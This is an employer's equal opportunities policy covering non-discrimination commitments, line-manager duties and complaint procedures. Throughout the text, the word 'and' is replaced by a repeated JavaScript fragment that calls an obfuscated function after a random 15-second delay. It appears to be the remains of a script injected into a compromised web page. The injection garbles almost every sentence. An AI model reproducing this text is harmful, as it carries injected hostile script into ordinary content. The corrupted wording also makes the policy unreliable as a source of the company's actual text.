Equal Opportunities Policy

Crown Cleaning Services Ltd is an Equal Opportunities Employer andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and is committed to eliminating discrimination andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and encouraging diversity amongst our workforce.

The purpose of this policy is to provide equality andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and fairness for all job applicants andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and employees andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and not to discriminate on grounds of gender, marital status, race, ethnic origin, colour, nationality, national origin, disability, sexuality, religion or age.

Crown Cleaning Services Ltd is opposed to all forms of unlawful andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and unfair discrimination.  All full-time andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and part-time employees andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and job applicants (actual or potential) will be treated fairly andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and selection for employment, promotion, training or any other benefit will be on the basis of aptitude andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and ability.

Our Equal Opportunities Policy will help all employees to develop their full potential andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and the talents andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and resources of the workforce will be fully utilised to maximise the efficiency of the organisation.  We are committed to:

  •  Promoting a good andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and harmonious working environment in which all persons are treated with respect andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and dignity.
  •  Preventing any form of direct or indirect discrimination or victimisation.
  •  Promoting equal opportunities for women andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and men.
  •  Promoting equal opportunities for people with disabilities.
  •  Promoting equal opportunities for the beliefs of all individuals.
  •  Promoting equal opportunities for ethnic minorities.
  •  Promoting equal opportunities for people of different sexual orientation.
  •  Promoting a good andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and harmonious working environment where all men andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and women are treated with respect andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and dignity andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and in which no form of intimidation or harassment will be tolerated.
  •  Fulfilling all legal obligations under the relevant legislation andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and associated Codes of Practice.
  •  Taking any necessary positive/affirmative action.

Any act which contravenes the equal opportunities policy andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and practice will be regarded as gross misconduct andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and could lead to disciplinary action including dismissal being taken against an employee in breach of the procedure.

Implementation

All line managers have responsibilities andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and it is expected that all employees abide by the policy andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and help create the equality environment which is its objective.  It shall be the duty of all staff members to give effect to this policy. A copy of this policy shall be given to each existing staff member to read. Particular responsibilities relate to those involved in the selection andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and recruitment of staff andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and the operation of disciplinary andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and grievance procedures.

Complaints

Employees who believe that they have suffered any form of discrimination, harassment or victimisation are entitled to raise the matter through the agreed procedures.  All complaints of discrimination will be dealt with seriously, promptly andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and confidentially.

Every effort will be made to ensure that employees making complaints will not be victimised.  Any complaint of victimisation will be dealt with seriously, promptly andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and confidentially. Victimisation will result in disciplinary action andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and may warrant dismissal.